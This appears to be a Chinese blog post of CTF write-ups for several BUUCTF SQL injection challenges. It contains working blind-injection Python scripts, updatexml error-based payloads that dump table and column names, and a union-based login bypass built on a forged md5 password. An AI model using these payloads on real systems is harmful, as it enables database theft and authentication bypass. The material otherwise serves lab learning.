buuctf-sql注入

本文最后更新于:3 年前

buuctf–注入篇

[CISCN2019 华北赛区 Day2 Web1]Hack World

给了提示,All You Want Is In Table 'flag' and the column is 'flag'

猜测flag在flag 表中,查询语句应该是 select flag from flag

经过测试,发现这题过滤了很多关键字,or,union,order等,猜测是盲注

构造盲注语句

id=if((ascii(substr((select(flag)from(flag)),0,1))>90),1,2)

两次的提示语句不一样,说明这个注入语句是对的,且当提示Hello时应该是对的。

// 二分注入
import requests

url = "http://376688f4-59c4-4f47-8d0e-36c966e45631.node3.buuoj.cn/index.php"

data = {id : ""}

flag = ""
for i in range(50):
    left = 33
    right = 128
    mid = (right + left) >> 1
    while(right>left):

        data["id"] = "if((ascii(substr((select(flag)from(flag)),{0},1))>{1}),1,2)".format(i,mid)
        response = requests.post(url,data=data)
        if "Hello" in response.text:
            left = mid+1
        else:
            right = mid
        mid=(right+left)>>1
    flag = flag + chr(mid)
    print(flag)

print(flag)

[极客大挑战 2019]HardSQL

报错注入

测试发现 or,union,substr,空格,/**/等都被加入黑名单,双写也无法绕过

可是使用报错注入

报错注入原理:

其原因主要是因为虚拟表的主键重复。按照MySQL的官方说法,group by要进行两次运算,第一次是拿group by后面的字段值到虚拟表中去对比前,首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,那么这时的插入必然导致主键的重复,进而引发错误。

相关链接

https://www.cnblogs.com/richardlee97/p/10617115.html

https://www.jianshu.com/p/d8ae3e8dabdc

https://blog.csdn.net/qq_37873738/article/details/88042610

UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) 。
第三个参数:new_value,String格式,替换查找到的符合条件的数据

查询语句如下

?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(password)from(H4rDsq1)),0x7e),1))%23

这里会发现flag显示不全,可能是报错现实的字数限制,利用right/left函数,显示部分的flag,之后拼接起来

显示后面的flag

?username=admin&password=dad%27or(updatexml(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1)),0x7e),1))%23

[网鼎杯 2018]Fakebook

sql注入+反序列化+代码审计

[GXYCTF2019]BabySQli

下载的源码,有助于后面做题

mysqli_query($con,'SET NAMES UTF8');
$name = $_POST['name'];
$password = $_POST['pw'];
$t_pw = md5($password);     //对传入的password参数进行了md5加密
$sql = "select * from user where username = '".$name."'";
// echo $sql;
$result = mysqli_query($con, $sql);

if(preg_match("/\(|\)|\=|or/", $name)){  //  过滤了() | = or 
	die("do not hack me!");
}
else{
	if (!$result) {
		printf("Error: %s\n", mysqli_error($con));
		exit();
	}
	else{
		// echo '<pre>';
		$arr = mysqli_fetch_row($result);
		// print_r($arr);
		if($arr[1] == "admin"){
			if(md5($password) == $arr[2]){    //
				echo $flag;
			}
			else{
				die("wrong pass!");
			}
		}
		else{
			die("wrong user!");
		}
	}
}

随便输入用户名和密码,查看源码,出现提示

试了试应该是base32,解码后是base64

c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==

继续解码

select * from user where username = '$name'

注入点是name参数这里,与上面源码中的查询语句一样。

经过测试发现有三列,name=admin' union select 1,2,3 #&pw=as#显示正常,name=admn' union select 1,2,3,4#&pw=as报错

但是页面没有数字回显,所以常规的注入应该是不行的。

值得注意的是,这题可以知道username是admin,

输入username=admin&password=11,时提示wrong pass!

输入username=admn&password=11,时提示wrong user!,所以可以判断用户名为admin

接下来介绍一种新的union注入

先建立一张表

select * from test where id=0 union select 1,'admin','2322';

union语句后查询的是表中不存在的一个数据,查询结果如下

这个结果说明,union查询一个不存在的数据时,会建立一个虚拟表,其中放着所查询到的数据和union后包含的数据

这里就是 id=1,username=admin,password=2322

这样就可以利用这个改变数据库中用户的密码,然后用自己设置的密码登录

接下来,利用这点做这个题目,首先知道一共三列,第一列应该是id,知道之后两列的内容就可以了

name=adm' union select 1,'a','s' #&pw=11提示的wrong user!

name=adm' union select 1,'admin','s' #&pw=11提示的wrong pass!

第二列的字段名应该就是username,第三列自然就是password,但是这题的password字段存放的时md5加密后的内容(看到师傅们的wp才知道的,看到源码也确实这样,但是在比赛的时候这么发现不得而知)

payload:

name=000'union select 1,'admin','b59c67bf196a4758191e42f76670ceba'#&pw=1111

b59c67bf196a4758191e42f76670ceba是1111的md5值,pw的值为1111

[极客大挑战 2019]FinalSQL

与hard sql是一个系列的,但是这个应该是盲注

在search.php中找到注入点,测试可以发现是数字型注入

fuzz之后可以发现对于不同的字符,回显不同,并且过滤了空格,但是^没有被过滤,所以可以利用这个符号

可以看到当id = 1 时,页面回显为,可以将这个为判断的标志

image-20201223090038080

1^1^1 = 1
1^0^1 = 0

所以可以将注入的payload加到中间,例如

1^(ord(substr((select(group_concat(schema_name))from(information_schema.schema
ta)),%d,1))=%d)^1"%(i,ord(j))

注入脚本如下,使用的是二分法

import requests
import time

url = "http://6b5514f4-7df0-47b1-bca4-d13013ffd5d9.node3.buuoj.cn/search.php"
flag = ''

def payload(i, j):
    time.sleep(1)
    # sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)                                #数据库名字          
    # sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)           #表名
    # sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)        #列名
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res

def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
exp()
print('flag=', flag)

又学到了新的注入姿势,真不错

参考:https://www.cnblogs.com/wangtanzhi/p/12305052.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!

 目录

Copyright © 2020 my blog
载入天数... 载入时分秒...